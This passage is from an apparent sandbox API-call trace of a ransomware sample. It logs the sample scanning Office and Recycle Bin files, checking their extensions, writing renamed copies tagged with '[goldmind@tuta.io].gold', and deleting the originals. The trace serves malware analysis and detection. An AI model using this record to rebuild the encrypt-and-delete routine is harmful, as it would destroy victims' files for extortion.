returned 4 [0052.697] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.697] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.697] lstrlenW (lpString="ACEREP.DLL") returned 10 [0052.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.698] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=691616) returned 1 [0052.698] CloseHandle (hObject=0x168) returned 1 [0052.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0052.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.698] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.698] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.699] GetLastError () returned 0x0 [0052.699] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xa8da0, lpOverlapped=0x0) returned 1 [0052.712] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xa8db0, lpOverlapped=0x0) returned 1 [0052.721] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.721] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.721] SetEndOfFile (hFile=0x18c) returned 1 [0052.721] CloseHandle (hObject=0x18c) returned 1 [0052.721] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.721] SetEndOfFile (hFile=0x168) returned 1 [0052.726] CloseHandle (hObject=0x168) returned 1 [0052.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0052.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.726] lstrlenW (lpString=".doc") returned 4 [0052.726] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString=".docx") returned 5 [0052.726] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0052.726] lstrlenW (lpString=".pdf") returned 4 [0052.726] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString=".xls") returned 4 [0052.726] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString=".xlsx") returned 5 [0052.726] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0052.726] lstrlenW (lpString=".ppt") returned 4 [0052.726] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.726] lstrlenW (lpString=".zip") returned 4 [0052.726] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString=".rar") returned 4 [0052.726] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.726] lstrlenW (lpString=".bz2") returned 4 [0052.727] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString=".7z") returned 3 [0052.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".dbf") returned 4 [0052.727] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".1cd") returned 4 [0052.727] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".jpg") returned 4 [0052.727] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".doc") returned 4 [0052.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString=".docx") returned 5 [0052.727] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0052.727] lstrlenW (lpString=".pdf") returned 4 [0052.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString=".xls") returned 4 [0052.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString=".xlsx") returned 5 [0052.727] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0052.727] lstrlenW (lpString=".ppt") returned 4 [0052.727] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".zip") returned 4 [0052.727] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString=".rar") returned 4 [0052.727] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.727] lstrlenW (lpString=".bz2") returned 4 [0052.727] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString=".7z") returned 3 [0052.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".dbf") returned 4 [0052.727] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".1cd") returned 4 [0052.727] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0052.727] lstrlenW (lpString=".jpg") returned 4 [0052.727] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.728] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.728] lstrlenW (lpString="ACETXT.DLL") returned 10 [0052.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.728] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=297360) returned 1 [0052.728] CloseHandle (hObject=0x168) returned 1 [0052.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0052.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.728] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.729] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.729] GetLastError () returned 0x0 [0052.729] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x48990, lpOverlapped=0x0) returned 1 [0052.856] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x489a0, lpOverlapped=0x0) returned 1 [0052.861] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.861] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.861] SetEndOfFile (hFile=0x18c) returned 1 [0053.895] CloseHandle (hObject=0x18c) returned 1 [0053.895] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.895] SetEndOfFile (hFile=0x168) returned 1 [0053.897] CloseHandle (hObject=0x168) returned 1 [0053.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".doc") returned 4 [0054.049] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".docx") returned 5 [0054.049] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0054.049] lstrlenW (lpString=".pdf") returned 4 [0054.049] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".xls") returned 4 [0054.049] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".xlsx") returned 5 [0054.049] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0054.049] lstrlenW (lpString=".ppt") returned 4 [0054.049] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".zip") returned 4 [0054.049] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".rar") returned 4 [0054.049] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".bz2") returned 4 [0054.049] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.049] lstrlenW (lpString=".7z") returned 3 [0054.049] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".dbf") returned 4 [0054.049] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".1cd") returned 4 [0054.049] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".jpg") returned 4 [0054.049] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".doc") returned 4 [0054.049] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".docx") returned 5 [0054.049] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0054.049] lstrlenW (lpString=".pdf") returned 4 [0054.049] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".xls") returned 4 [0054.049] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString=".xlsx") returned 5 [0054.049] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0054.049] lstrlenW (lpString=".ppt") returned 4 [0054.049] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.049] lstrlenW (lpString=".zip") returned 4 [0054.050] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.050] lstrlenW (lpString=".rar") returned 4 [0054.050] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.050] lstrlenW (lpString=".bz2") returned 4 [0054.050] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.050] lstrlenW (lpString=".7z") returned 3 [0054.050] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.050] lstrlenW (lpString=".dbf") returned 4 [0054.050] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.050] lstrlenW (lpString=".1cd") returned 4 [0054.050] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0054.050] lstrlenW (lpString=".jpg") returned 4 [0054.050] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.050] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0054.050] lstrlenW (lpString="Csi.dll") returned 7 [0054.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.905] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=5072816) returned 1 [0056.905] CloseHandle (hObject=0x19c) returned 1 [0056.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0056.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[goldmind@tuta.io].gold")) Thread: id = 16 os_tid = 0x90 [0033.898] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x38b06a0 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x38c06a8 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03f8 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d30d8 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0410 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3c90020 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0428 [0033.899] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0428, Size=0x20) returned 0x8ff910 [0033.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0428 [0033.899] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0428, Size=0x20) returned 0x8ff938 [0033.899] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.900] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.900] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff58 | out: OldValue=0x316ff58*=0x0) returned 1 [0033.900] lstrlenW (lpString="kernel32.dll") returned 12 [0033.900] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.900] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.900] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.900] Sleep (dwMilliseconds=0x64) [0034.504] lstrcmpiW (lpString1=".ini", lpString2=".gold") returned 1 [0034.504] lstrlenW (lpString="desktop.ini") returned 11 [0034.504] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.504] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=129) returned 1 [0034.504] CloseHandle (hObject=0x178) returned 1 [0034.504] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0034.504] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.504] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.504] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.504] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.504] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.505] GetLastError () returned 0x0 [0034.505] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x81, lpOverlapped=0x0) returned 1 [0034.513] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x90, lpOverlapped=0x0) returned 1 [0034.514] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.514] WriteFile (in: hFile=0x17c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.514] SetEndOfFile (hFile=0x17c) returned 1 [0034.515] CloseHandle (hObject=0x17c) returned 1 [0034.515] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.515] SetEndOfFile (hFile=0x178) returned 1 [0034.516] CloseHandle (hObject=0x178) returned 1 [0034.516] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x26) returned 1 [0034.516] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0034.516] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.516] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.516] lstrlenW (lpString=".doc") returned 4 [0034.516] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString=".docx") returned 5 [0034.517] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0034.517] lstrlenW (lpString=".pdf") returned 4 [0034.517] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".xls") returned 4 [0034.517] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".xlsx") returned 5 [0034.517] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0034.517] lstrlenW (lpString=".ppt") returned 4 [0034.517] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".zip") returned 4 [0034.517] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".rar") returned 4 [0034.517] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString=".bz2") returned 4 [0034.517] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString=".7z") returned 3 [0034.517] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".dbf") returned 4 [0034.517] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".1cd") returned 4 [0034.517] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW (lpString=".jpg") returned 4 [0034.517] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0034.517] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.517] lstrlenW 